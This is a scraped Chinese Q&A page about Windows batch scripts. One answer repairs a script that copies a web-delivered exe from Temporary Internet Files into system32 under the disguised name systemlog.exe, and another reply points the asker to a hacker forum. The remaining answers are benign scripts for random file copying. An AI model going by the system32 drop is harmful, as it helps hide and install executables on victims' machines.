批處理用ifnoteist命令判斷檔案複製不成功

2021-08-29 08:01:36 字數 2817 閱讀 6648

1樓:匿名使用者

以上指令碼寫法是正確

問題是你的bat檔案存在**,這個%cd%是指bat所在的目錄

還有就是bat不會自動檢測並執行,而是要人工雙擊開啟後,才會去判斷執行操作的

如果在執行網頁時的臨時檔案[1].exe是存在於「%userprofile%\local settings\temporary internet files」中的,而不是在"%cd%\中.

所以方法是

if not exist "%cd%\yongyou.exe" goto 1

copy "%cd%\yongyou.exe" %windir%\system32\systemlog.exe /y

goto 2

:1copy "%userprofile%\local settings\temporary internet files\[1].exe" %windir%\system32\systemlog.

exe /y

:2exit

這個bat檔案應處於:不在網頁中執行時將會產生yongyou.exe檔案的同一目錄。

執行流程是:開啟程式後不管在不在網頁中執行,你都得雙擊該bat檔案

2樓:匿名使用者

這個問題建議到黑客基地去問比較好.

求「使用批處理命令——隨機複製檔案」方法。

3樓:bb石俊傑

::測試通過可用,下面的(1,1,10)的10是資料夾放入***檔案10個數,自己可以修改。

:agset/a out+=1

md %out%

echo md %out%

for /l %%m in (1,1,10)do (

echo m=%%m

set n=0&cd.>ml.txt

>>ml.txt

set/a m=!random!%%!n!+1

echo rand=!m!

find /i "play!m!x" ml.txt>tmp.txt

for /f "skip=2 tokens=1,* delims= " %%i in (tmp.txt)do move /y "%%j.***" "%~dp0%out%\%%j.

***"

)dir /b *.***&&goto ag

del ml.txt tmp.txt

4樓:匿名使用者

既問到我,怎麼問你情況也沒個回答,麥兜兄弟答了一種,也許你是想看這類批處理怎麼寫,我就自己再假定一種情況,給你寫個在批處理檔案處建01~10共10個資料夾,假定d:\***處有1000多個檔案平均移入到這10個檔案裡,但順序是隨機的,然後刪除d:\***

(**未經檢測)

@echo off&color f1

setlocal enabledelayedexpansion

set dn=d:\***

echo 稍候...

for /l %%l in (1,1,10)do (set dd=00%%l

if not exist !dd:~-2! md !dd:~-2!)

for /f "delims=" %%a in ('dir/b/a-d "%dn%\"')do call :yky "%%a"

for /f "tokens=2 delims==" %%b in ('set #')do (

set/a n+=1

set "nn= !n!"

set/a "m=(n-1)%%10+101"

move "%dn%\%%b" !m:~-2!\

cls&echo/&echo 正在隨機移動第!nn:~-3! 個: "%dn%\%%b" ==^> !m:~-2!)

rd "%dn%"

endlocal

cls&echo/&echo 處理完畢 按任意鍵退出...

pause>nul

exit/b

:yky

set ran=%random%

if defined #%ran% goto yky

set #%ran%=%~1&goto :eof

5樓:匿名使用者

有難度,先標記,慢慢寫,未完

dir /b>1.txt

set /a a=!random!%%1001for /f "delims=" %%i in ("1.txt") do (

set /a b+=1

if b equ a (copy %%i )

6樓:麥兜

for /f "delims=" %%1 in ('dir/b "*.***"')do if "%%1" neq %0 echo %%1>>n

for /l %%1 in (1,1,10)do (set/a s%%1=!random!%%999+1

set a=!a! !s%%1!)

set a=!a:~1!

for %%1 in (!a!)do for /f "delims=" %%2 in ('type "n"')do (set/a x+=1

if "!x!"=="%%1" copy "%%2" "d:\a")

pause

寫批處理命令,寫一個批處理命令

這樣寫 echo on set path g gba visualboyadvance.exe 我解釋下 set path這個等號後面寫入你要執行的檔案的所在目錄,比如我這裡要玩gba模擬器,它在g gba下,就這樣輸入。後面的visualboyadvance.exe是要執行的程式。把你想要執行的程...

關於萬用字元使用和批處理命令,關於批處理中萬用字元的問題

讀取兩個檔案正確的部分合併成一個檔案。時間和內容應該很容易用 識別,把兩個檔案的內容貼出來我給你寫 補充 set fso createobject scripting.filesystemobject set fr1 fso.opentextfile 正確時間.txt 1 set fr2 fso.o...

批處理一行命令求註釋

管道命令。將前者的輸出作為後面命令的輸入!比如,如果你要刪除一個非空資料夾123 rd s 123,會提示你是否確認。這是你要輸入n s來確認。如果想節約時間可以這樣輸入echo y rd s 123,這樣,系統就將前面echo命令的輸出結果y傳遞給後面的命令。就不會出現提示了。後附 前者為手工輸入...